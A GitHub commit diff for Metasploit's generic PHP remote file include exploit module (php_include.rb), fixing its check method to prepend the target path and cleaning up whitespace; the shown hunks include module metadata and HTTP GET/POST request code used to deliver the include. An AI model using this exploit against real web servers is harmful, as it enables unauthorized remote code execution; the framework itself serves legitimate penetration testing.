Skip to content

Commit 02e394e

Browse files
committed
php_include - fix check
1 parent 98b4c65 commit 02e394e

File tree

1 file changed

+29
-23
lines changed

1 file changed

+29
-23
lines changed

modules/exploits/unix/webapp/php_include.rb

Lines changed: 29 additions & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22
# This file is part of the Metasploit Framework and may be subject to
33
# redistribution and commercial restrictions. Please see the Metasploit
44
# web site for more information on licensing and terms of use.
5-
# http://metasploit.com/
5+
# http://metasploit.com/
66
##
77

88
require 'msf/core'
@@ -17,20 +17,20 @@ class Metasploit3 < Msf::Exploit::Remote
1717
def initialize(info = {})
1818
super(update_info(info,
1919
'Name' => 'PHP Remote File Include Generic Code Execution',
20-
'Description' => %q{
20+
'Description' => %q{
2121
This module can be used to exploit any generic PHP file include vulnerability,
2222
where the application includes code like the following:
2323
2424
<?php include($_GET['path']); ?>
2525
},
2626
'Author' => [ 'hdm' , 'egypt', 'ethicalhack3r' ],
27-
'License' => MSF_LICENSE,
27+
'License' => MSF_LICENSE,
2828
#'References' => [ ],
2929
'Privileged' => false,
30-
'Payload' =>
30+
'Payload' =>
3131
{
3232
'DisableNops' => true,
33-
'Compat' =>
33+
'Compat' =>
3434
{
3535
'ConnectionType' => 'find',
3636
},
@@ -45,7 +45,7 @@ def initialize(info = {})
4545
'DisclosureDate' => 'Dec 17 2006',
4646
'Platform' => 'php',
4747
'Arch' => ARCH_PHP,
48-
'Targets' => [[ 'Automatic', { }]],
48+
'Targets' => [[ 'Automatic', { }]],
4949
'DefaultTarget' => 0))
5050

5151
register_options([
@@ -59,19 +59,25 @@ def initialize(info = {})
5959
], self.class)
6060
end
6161

62-
def check
63-
uri = datastore['PHPURI'] ? datastore['PHPURI'].dup : ""
64-
if(uri and ! uri.empty?)
65-
uri.gsub!(/\?.*/, "")
66-
print_status("Checking uri #{uri}")
67-
response = send_request_raw({ 'uri' => uri})
68-
return Exploit::CheckCode::Detected if response.code == 200
69-
print_error("Server responded with #{response.code}")
70-
return Exploit::CheckCode::Safe
71-
else
72-
return Exploit::CheckCode::Unknown
62+
def check
63+
uri = datastore['PHPURI'] ? datastore['PHPURI'].dup : ""
64+
65+
tpath = normalize_uri(datastore['PATH'])
66+
if tpath[-1,1] == '/'
67+
tpath = tpath.chop
68+
end
69+
70+
if(uri and ! uri.empty?)
71+
uri.gsub!(/\?.*/, "")
72+
print_status("Checking uri #{rhost+tpath+uri}")
73+
response = send_request_raw({ 'uri' => tpath+uri})
74+
return Exploit::CheckCode::Detected if response.code == 200
75+
print_error("Server responded with #{response.code}")
76+
return Exploit::CheckCode::Safe
77+
else
78+
return Exploit::CheckCode::Unknown
79+
end
7380
end
74-
end
7581

7682
def datastore_headers
7783
headers = datastore['HEADERS'] ? datastore['HEADERS'].dup : ""
@@ -136,18 +142,18 @@ def php_exploit
136142
if http_method == "GET"
137143
response = send_request_raw( {
138144
'global' => true,
139-
'uri' => tpath+uri,
145+
'uri' => tpath+uri,
140146
'headers' => datastore_headers,
141147
}, timeout)
142148
elsif http_method == "POST"
143149
response = send_request_raw(
144150
{
145-
'global' => true,
151+
'global' => true,
146152
'uri' => tpath+uri,
147-
'method' => http_method,
148-
'data' => postdata,
153+
'method' => http_method,
154+
'data' => postdata,
149155
'headers' => datastore_headers.merge({
150-
'Content-Type' => 'application/x-www-form-urlencoded',
156+
'Content-Type' => 'application/x-www-form-urlencoded',
151157
'Content-Length' => postdata.length
152158
})
153159
}, timeout)

0 commit comments

Comments
 (0)